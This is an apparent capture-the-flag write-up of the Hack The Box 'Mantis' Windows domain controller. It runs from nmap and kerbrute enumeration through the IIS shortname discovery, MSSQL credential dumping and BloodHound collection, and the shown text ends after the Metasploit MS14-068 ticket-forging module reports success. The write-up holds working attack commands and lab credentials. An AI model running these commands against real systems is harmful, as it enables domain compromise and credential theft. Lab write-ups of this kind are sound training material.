Post

HTB Mantis CTF Writeup

HTB Mantis CTF is a "Hard" difficulty Windows machine on Hack The Box.

HTB Mantis CTF Writeup

Challenge Summary

Mantis involved a mix of enumeration, web exploitation, and Active Directory abuse. Initial access was gained through a hidden directory discovered using an IIS shortname vulnerability, which exposed database credentials. These led to user-level access through MSSQL and eventually to domain-level access after exploiting an old Kerberos vulnerability (MS14-068). The box required attention to detail, persistence, and understanding how older Windows systems handle authentication.

flowchart TD
    A["Nmap Scan"] --> B["Kerberos Enumeration: kerbrute"]
    B --> C["Valid User Found: james"]
    C --> D["Web Enumeration: Ports 8080 and 1337"]
    D --> E["IIS Shortname Vulnerability"]
    E --> F["Found /secure_notes Directory"]
    F --> G["MSSQL Creds from Dev Notes"]
    G --> H["Access MSSQL - OrchardDB Dump"]
    H --> I["Recovered Plaintext Password"]
    I --> J["LDAP Auth - No Shell Access"]
    J --> K["BloodHound Enumeration"]
    K --> L["Found MS14-068 Vulnerability"]
    L --> M["Exploit - Forged Kerberos Ticket"]
    M --> N["Access C$ as Administrator"]
    N --> O["Shell via goldenPac.py"]

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# Nmap 7.93 scan initiated Mon Apr 21 17:42:23 2025 as: nmap -A -vv -oN scans/nmap.all -p- 10.10.10.52
Nmap scan report for mantis.htb.local (10.10.10.52)
Host is up, received conn-refused (0.095s latency).
Scanned at 2025-04-21 17:42:24 EDT for 199s
Not shown: 65508 closed tcp ports (conn-refused)
PORT      STATE SERVICE      REASON  VERSION
53/tcp    open  domain       syn-ack Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-04-21 21:44:34Z)
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?    syn-ack
593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack
1337/tcp  open  http         syn-ack Microsoft IIS httpd 7.5
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
1433/tcp  open  ms-sql-s     syn-ack Microsoft SQL Server 2014 12.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-04-21T21:25:57
| Not valid after:  2055-04-21T21:25:57
| MD5:   3f34b1aa35e9d27e7206fd9ea05cbae2
| SHA-1: cc0f7a94233ea245705da4e797f6584cb2ea3e56
| -----BEGIN CERTIFICATE-----
| MIIB+zCCAWSgAwIBAgIQGu+rSNyo14VIJyZZJl0mpzANBgkqhkiG9w0BAQUFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwNDIxMjEyNTU3WhgPMjA1NTA0MjEyMTI1NTdaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA6xV8xpfORwte
| 6qRXCiQ7C+XDzeDzldfZoaYMjIgI9zJ+dAENCBunbqhoBXMVUBRE9tQr0FGRDlvF
| o/cuikeU2BkXtDyqBq+dtj3oDKnn/kKRoiflshdu213Qro1QHHAY2U8UxdEf7lAE
| z0/O+9WTRprWGlRABvtuRPhqQohauNkCAwEAATANBgkqhkiG9w0BAQUFAAOBgQBV
| BodLhTja9+9rgb+tePzABgULxpyasEXpUNzvJRCR22C+VPqWkSum4stfL2xsgQop
| JnxRZHxmU1V+cak997YjIxQqqLeAxHVrvRrciUwFHmYJXz4C8pGgweiK+XnTHLkL
| d6M3qOdzejzwCxmBVsimS0qbYLR3QhRJ/XoYadR2RQ==
|_-----END CERTIFICATE-----
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-04-21T21:45:40+00:00; 0s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack
5722/tcp  open  msrpc        syn-ack Microsoft Windows RPC
8080/tcp  open  http         syn-ack Microsoft IIS httpd 7.5
|_http-title: Tossed Salad - Blog
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/7.5
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
47001/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack Microsoft Windows RPC
49158/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
49161/tcp open  msrpc        syn-ack Microsoft Windows RPC
49165/tcp open  msrpc        syn-ack Microsoft Windows RPC
49172/tcp open  msrpc        syn-ack Microsoft Windows RPC
50255/tcp open  ms-sql-s     syn-ack Microsoft SQL Server 2014 12.00.2000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-04-21T21:25:57
| Not valid after:  2055-04-21T21:25:57
| MD5:   3f34b1aa35e9d27e7206fd9ea05cbae2
| SHA-1: cc0f7a94233ea245705da4e797f6584cb2ea3e56
| -----BEGIN CERTIFICATE-----
| MIIB+zCCAWSgAwIBAgIQGu+rSNyo14VIJyZZJl0mpzANBgkqhkiG9w0BAQUFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwNDIxMjEyNTU3WhgPMjA1NTA0MjEyMTI1NTdaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA6xV8xpfORwte
| 6qRXCiQ7C+XDzeDzldfZoaYMjIgI9zJ+dAENCBunbqhoBXMVUBRE9tQr0FGRDlvF
| o/cuikeU2BkXtDyqBq+dtj3oDKnn/kKRoiflshdu213Qro1QHHAY2U8UxdEf7lAE
| z0/O+9WTRprWGlRABvtuRPhqQohauNkCAwEAATANBgkqhkiG9w0BAQUFAAOBgQBV
| BodLhTja9+9rgb+tePzABgULxpyasEXpUNzvJRCR22C+VPqWkSum4stfL2xsgQop
| JnxRZHxmU1V+cak997YjIxQqqLeAxHVrvRrciUwFHmYJXz4C8pGgweiK+XnTHLkL
| d6M3qOdzejzwCxmBVsimS0qbYLR3QhRJ/XoYadR2RQ==
|_-----END CERTIFICATE-----
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-04-21T21:45:40+00:00; 0s from scanner time.
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2025-04-21T21:45:31
|_  start_date: 2025-04-21T21:25:45
| smb-os-discovery: 
|   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: mantis
|   NetBIOS computer name: MANTIS\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: mantis.htb.local
|_  System time: 2025-04-21T17:45:34-04:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 14908/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 10637/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 19802/udp): CLEAN (Timeout)
|   Check 4 (port 28172/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 48m00s, deviation: 1h47m22s, median: 0s
| smb2-security-mode: 
|   210: 
|_    Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 21 17:45:43 2025 -- 1 IP address (1 host up) scanned in 199.61 seconds
  • 53/88/389/445/464/593/636/3268/3269: Active Directory and Kerberos ports.
  • 8080 & 1337: Two IIS 7.5 instances—with entirely different content.
  • 1433: MSSQL Server 2014—big red flag if you love poking databases.

Seeing Kerberos (88) and MSSQL (1433) together on a 2008 R2 box made my heart skip a beat. Could I comb out creds via Kerberoasting? Maybe. But the real treasure lay elsewhere.

Kerberos Enumeration

Summary

Discovering Kerberos alive and kicking made me reach for kerbrute because I knew there was a chance I could enumerate valid usernames. After a few minutes of grinding, boom: [email protected] popped up as valid. Kerberoasting and AS‑REP roasting both hit walls—James had pre‑auth and no crackable SPNs—but those failures were data, not dead ends. They confirmed that I needed to pivot off of “james” elsewhere.

Details

I ran kerbrute along with a names.txt worlist from SecLists, and, after a while, got a hit on [email protected]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ kerbrute userenum -d htb.local --dc 10.10.10.52 /usr/share/wordlists/SecLists-master/Usernames/Names/names.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 04/21/25 - Ronnie Flathers @ropnop

2025/04/21 17:11:01 >  Using KDC(s):
2025/04/21 17:11:01 >   10.10.10.52:88

2025/04/21 17:11:45 >  [+] VALID USERNAME:       [email protected]
2025/04/21 17:12:44 >  Done! Tested 10177 usernames (1 valid) in 103.642 seconds

This felt promising. I immediately went after classic misconfigs:

  • Kerberoasting — nope, I got slapped with an invalidCredentials error.
1
2
3
4
$ GetUserSPNs.py -no-pass htb.local/james -request -dc-ip 10.10.10.52
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C090650, comment: AcceptSecurityContext error, data 52e, v1db1
  • AS-REP Roasting — no dice. James has pre-authentication enabled.
1
2
3
4
5
$ GetNPUsers.py -no-pass htb.local/james -request -dc-ip 10.10.10.52
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for james
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set

At this point, I was getting a lil bit frustrated. I threw everything I had at [email protected] — Kerberoasting, AS-REP Roasting, even LDAP enumeration, and came up empty. It was clear this wasn’t going to be a typical “get creds, get in” path. Time to pivot.

Web Server Enumeration

Summary

There are two web servers running on the machine. First, on port 8080 and second on port 1337.

The first, on port 8080, has nothing much to it, I did perform directory bruteforcing, reviewed the source code, tried logging in, searched for exploits, but nothing.

The second, however, on port 1337 is really interesting. After enumerating for directories for a while and obtaining no results, I tried a good old IIS vulnerability (short filename) and it turns out the web server is vulnerable. I used a metasploit module to find valid files in the web server, and combined the initial output with words from the raft wordlist with FFUF, to find an interesting hidden directory containing dev notes and ultimately valid database credentials.

Details

It seems they’re running a CMS over there, with some posts and all:

image.webp Fig. 01: Homepage of the Orchard CMS–powered site on port 8080, showing the “Powered by Orchard” footer.

I can see at the bottom a copyright notice that leaks the software they’re using:

1
Powered by Orchard © The Theme Machine 2025.

However, googling for Orchard Core CMS vulnerabilities, I don’t find anything useful at all. So, I started a directory bruteforcing attack with ffuf to see if I can widen my attack surface:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ ffuf -u http://10.10.10.52:8080/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt | tee scans/web-8080-wfuzz.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.52:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

admin                   [Status: 302, Size: 163, Words: 6, Lines: 4]
archive                 [Status: 200, Size: 2866, Words: 345, Lines: 74]
tags                    [Status: 200, Size: 2453, Words: 333, Lines: 70]
.                       [Status: 200, Size: 5893, Words: 860, Lines: 157]
blogs                   [Status: 200, Size: 2913, Words: 406, Lines: 87]
_archive                [Status: 200, Size: 2867, Words: 345, Lines: 74]
rsd                     [Status: 200, Size: 384, Words: 39, Lines: 10]
filearchive             [Status: 200, Size: 2870, Words: 345, Lines: 74]
news_archive            [Status: 200, Size: 2871, Words: 345, Lines: 74]
newsarchive             [Status: 200, Size: 2870, Words: 345, Lines: 74]
pollsarchive            [Status: 200, Size: 2871, Words: 345, Lines: 74]
news-archive            [Status: 200, Size: 2871, Words: 345, Lines: 74]
viewarchive             [Status: 200, Size: 2870, Words: 345, Lines: 74]
.archive                [Status: 200, Size: 2867, Words: 345, Lines: 74]
logarchive              [Status: 200, Size: 2869, Words: 345, Lines: 74]
photo_archive           [Status: 200, Size: 2872, Words: 345, Lines: 74]
:: Progress: [38267/38267]&nbsp;:: Job [1/1] :: 42 req/sec :: Duration: [0:14:53] :: Errors: 0 ::

But nothing was really coming out of this. Just some normal pages.

After enumerating every inch of the first web server, seeing requests coming through burp suite proxy to see if we’re making requests to some kind of hidden API, I reviewed the source code for all the pages, analyzed headers, but nothing was out of the ordinary. With that in mind, I decided to move on.

The second web server (suspiciously enough, on port 1337), tho, had other story to tell me. I began, as usual with a directory bruteforcing attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u http://10.10.10.52:1337/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-large-words-lowercase.txt -t 10 | tee scans/web-1337-wfuzz-big.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.52:1337/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-large-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

aspnet_client           [Status: 301, Size: 161, Words: 9, Lines: 2]
.                       [Status: 200, Size: 689, Words: 25, Lines: 32]
[WARN] Caught keyboard interrupt (Ctrl-C)

But found nothing either.

This part reminded me of an old CTF box where a vulnerable IIS instance was hiding files behind shortnames. I didn’t have any hits from ffuf, but something about that :1337 port screamed “weird dev server!!!”, so I went with my gut and tested the IIS shortname vuln

I loaded up metasploit console, and did configure and run the appropriate IIS shortname enumerator module:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
msf6 > search IIS shortname 

Matching Modules
================

   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/iis_shortname_scanner  .                normal  Yes    Microsoft IIS shortname vulnerability scanner                                                                               


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/iis_shortname_scanner                                                                                          

msf6 > use 0
msf6 auxiliary(scanner/http/iis_shortname_scanner) > options 

Module options (auxiliary/scanner/http/iis_shortname_scanner):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     /                yes       The base path to start scanning from
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                       metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  20               yes       Number of threads to use
   VHOST                     no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/iis_shortname_scanner) > set RHOSTS 10.10.10.52
RHOSTS => 10.10.10.52                                                                                   
msf6 auxiliary(scanner/http/iis_shortname_scanner) > set RPORT 1337
RPORT => 1337                                                                                           
msf6 auxiliary(scanner/http/iis_shortname_scanner) > run                                                
[*] Running module against 10.10.10.52                                                                  
[*] Scanning in progress...                                                                             
[+] Found 2 directories                                                                                 
[+] http://10.10.10.52/aspnet*~1                                                                        
[+] http://10.10.10.52/secure*~1                                                                        
[*] No files were found                                                                                 
[*] Auxiliary module execution completed

To discover two entries,

1
2
[+] http://10.10.10.52/aspnet*~1                                                                        
[+] http://10.10.10.52/secure*~1

The aspnet one I know about, that would be “aspnet_client” seen earlier in the directory bruteforcing with ffuf. However, the second one is completely new.

To try and find the remaining characters of the string, I proceeded with ffuf again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ffuf -u http://10.10.10.52:1337/secureFUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-large-words-lowercase.txt -t 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.52:1337/secureFUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-large-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

_notes                  [Status: 301, Size: 160, Words: 9, Lines: 2]
[WARN] Caught keyboard interrupt (Ctrl-C)

To find the remaining characters:

1
_notes                  [Status: 301, Size: 160, Words: 9, Lines: 2]

So, the complete directory name would be /secure_notes:

image.webp Fig. 02: Directory listing for /secure_notes revealing the dev_notes_<Base64>.txt file.

The dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt file looks like this:

image.webp Fig. 03: Contents of dev_notes_<Base64>.txt, showing database setup instructions and the Base64 string.

Upon first looking at the filename, I notice a strange pattern, that looks like Base64:

1
NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx

So, I put this string into CyberChef and it automatically identified the codification being used, and decoded it for me:

image.webp Fig. 04: CyberChef output decoding the Base64 string to m$$ql_S@_P@ssW0rd!.

Revealing what potentially could be a valid password for the database:

1
m$$ql_S@_P@ssW0rd!

Combining it with the fact that the devs used the “admin” user to create the database (from the dev notes):

1
2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database

We have a potential set of credentials to work with:

1
admin:m$$ql_S@_P@ssW0rd!

MSSQL Enumeration

Summary

With admin:m$$ql_S@_P@ssW0rd! in hand, I tunneled into SQL Server. The moment I saw orcharddb was sweet—this database held the CMS’s soul, including user records. Peeking at blog_Orchard_Users_UserPartRecord felt like finding grandma’s secret cookie jar, LOL! There, in plain sight, was James’s password. No hash cracking, no rainbow tables—just pure, human‑readable creds.

Details

With credentials in hands, I used mssqlclient.py from Impacket to connect to the database:

1
2
3
4
5
6
7
8
9
10
11
12
$ mssqlclient.py -dc-ip 10.10.10.52 admin:'m$$ql_S@_P@ssW0rd!'@10.10.10.52
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL (admin  admin@master)>

I enumerated for databases, and could find one that is not default (orcharddb):

1
2
3
4
5
6
7
8
9
10
11
12
SQL (admin  admin@master)> enum_db
name        is_trustworthy_on   
---------   -----------------   
master                      0   

tempdb                      0   

model                       0   

msdb                        1   

orcharddb                   0

That’s the database for the CMS on port 8080 (Orchard CMS). Looking through its tables,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SQL (admin  admin@master)> SELECT table_name,table_schema from [orcharddb].INFORMATION_SCHEMA.TABLES;
table_name                                             table_schema   
----------------------------------------------------   ------------   
blog_Orchard_Blogs_RecentBlogPostsPartRecord           dbo            

blog_Orchard_Blogs_BlogArchivesPartRecord              dbo            
            
<SNIP>

blog_Orchard_Users_UserPartRecord                      dbo            

blog_Orchard_Roles_PermissionRecord                    dbo            

<SNIP>

I spotted a peculiar one that may be related to the registered users in the CMS: blog_Orchard_Users_UserPartRecord. Dumping its contents revealed a cleartext password for user [email protected], the same one we discovered earlier when enumerating users in Kerberos using kerbrute:

1
2
3
4
5
6
7
8
SQL (admin  admin@master)> SELECT * FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord
Id   UserName   Email             NormalizedUserName   Password                                                               PasswordFormat   HashAlgorithm   PasswordSalt               RegistrationStatus   EmailStatus   EmailChallengeToken   CreatedUtc            LastLoginUtc          LastLogoutUtc         
--   --------   ---------------   ------------------   --------------------------------------------------------------------   --------------   -------------   ------------------------   ------------------   -----------   -------------------   -------------------   -------------------   -------------------   
 2   admin                        admin                AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==   Hashed           PBKDF2          UBwWF1CQCsaGc/P7jIR/kg==   Approved             Approved      NULL                  2017-09-01 13:44:01   2017-09-01 14:03:50   2017-09-01 14:06:31   

15   James      [email protected]   james                J@m3s_P@ssW0rd!                                                        Plaintext        Plaintext       NA                         Approved             Approved      NULL                  2017-09-01 13:45:44   NULL                  NULL                  

SQL (admin  admin@master)>

Initial Shell

Summary & Explanation

Using the cleartext password for user “james”, discovered after dumping the contents of the users table from Orchard CMS in the MSSQL database, I could authenticate to the machine:

1
2
3
$ nxc ldap 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!' 
LDAP        10.10.10.52     389    MANTIS           [*] Windows 7 / Server 2008 R2 Build 7601 (name:MANTIS) (domain:htb.local)
LDAP        10.10.10.52     389    MANTIS           [+] htb.local\james:J@m3s_P@ssW0rd!

However, there’s no way to obtain a shell from here. No WinRM, no RDP.

The machine is running very outdated software, as seen in the nmap scan:

1
|   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)

At this point I did run a Bloodhound CE ingestor from netexec to enumerate for AD flaws and misconfigurations:

1
2
3
4
5
6
$ nxc ldap 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!' --bloodhound -c All
LDAP        10.10.10.52     389    MANTIS           [*] Windows 7 / Server 2008 R2 Build 7601 (name:MANTIS) (domain:htb.local)
LDAP        10.10.10.52     389    MANTIS           [+] htb.local\james:J@m3s_P@ssW0rd! 
LDAP        10.10.10.52     389    MANTIS           Resolved collection methods: trusts, localadmin, acl, rdp, psremote, session, objectprops, container, group, dcom                                           
LDAP        10.10.10.52     389    MANTIS           Done in 00M 26S
LDAP        10.10.10.52     389    MANTIS           Compressing output into /home/user/.nxc/logs/MANTIS_10.10.10.52_2025-04-22_145937_bloodhound.zip

I started my Bloodhound CE instance (wiki):

1
sudo docker compose -f /home/user/Software/Bloodhound/docker-compose.yml up -d

I ingested the zipfile created by the netexec collector:

image.webp Fig. 05: BloodHound CE interface after ingesting the AD data from Mantis.

And began enumerating the domain, but found absolutely nothing worth noting beyond the confirmation that the operating system is really really outdated, when listing for “Computers with unsupported operating systems”:

image.webp Fig. 06: BloodHound results listing “Computers with unsupported operating systems,” highlighting Windows Server 2008 R2.

Windows Server 2008 is known for multiple high-severity vulnerabilities, including the infamous Eternal Blue exploit. Naturally, I tested for that and some others, but, after a considerable amount of google-fu, I managed to find MS14-068 and oh boy that was a pain (at least for me) to exploit.

Kerberos authentication is tightly tied to DNS and SPNs (Service Principal Names). Using the FQDN mantis.htb.local instead of the raw IP address was crucial, as the service ticket was only valid for that hostname. IP-based connections break the SPN match, so the ticket is rejected.

I lost way too much time trying to use the DC’s IP address (10.10.10.52) with goldenPac.py. It just wouldn’t work — no errors that made sense, just dead ends. Eventually, I realized Kerberos requires the exact FQDN (mantis.htb.local) because it’s baked into the Service Principal Name (SPN). Lesson learned: when it comes to Kerberos, DNS is king.

In this case, mantis.htb.local is the FQDN of the Domain Controller (the domain name that points directly to the DC machine itself) and htb.local is more broad, htb.local is the domain.

To discover the correct FQDN, it was just a matter of looking closely at the first nmap scan:

1
2
3
4
5
6
7
8
9
10
Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: mantis
|   NetBIOS computer name: MANTIS\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: mantis.htb.local
|_  System time: 2025-04-21T17:45:34-04:00

Or even running a script like enum4linux-ng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ python3 enum4linux-ng.py -A 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'

<SNIP>

 ==========================================================
|    Domain Information via SMB session for 10.10.10.52    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: MANTIS
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: mantis.htb.local
Derived membership: domain member
Derived domain: HTB

<SNIP>

Exploiting Process

I did use a module from metasploit framework to generate the tampered ticket, the module and options look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
msf6 auxiliary(admin/kerberos/ms14_068_kerberos_checksum) > options

Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):

   Name      Current Setting               Required  Description
   ----      ---------------               --------  -----------
   DOMAIN    HTB.LOCAL                     yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  J@m3s_P@ssW0rd!               yes       The Domain User password
   RHOSTS    mantis.htb.local              yes       The target host(s), see https://docs.metasploit.c
                                                     om/docs/using-metasploit/basics/using-metasploit.
                                                     html
   RPORT     88                            yes       The target port
   Timeout   10                            yes       The TCP timeout to establish Kerberos connection
                                                     and read data
   USERNAME  james                         yes       The Domain User
   USER_SID  S-1-5-21-4220043660-40190799  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641
             61-2895681657-1103                      577184-3486455962-1000


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/kerberos/ms14_068_kerberos_checksum) > run
[*] Running module against 10.10.10.52
[*] Validating options...
[*] Using domain HTB.LOCAL...
[*] 10.10.10.52:88 - Sending AS-REQ...
[*] 10.10.10.52:88 - Parsing AS-REP...
[*] 10.10.10.52:88 - Sending TGS-REQ...
[+] 10.10.10.52:88 - Valid TGS-Response, extracting credentials...
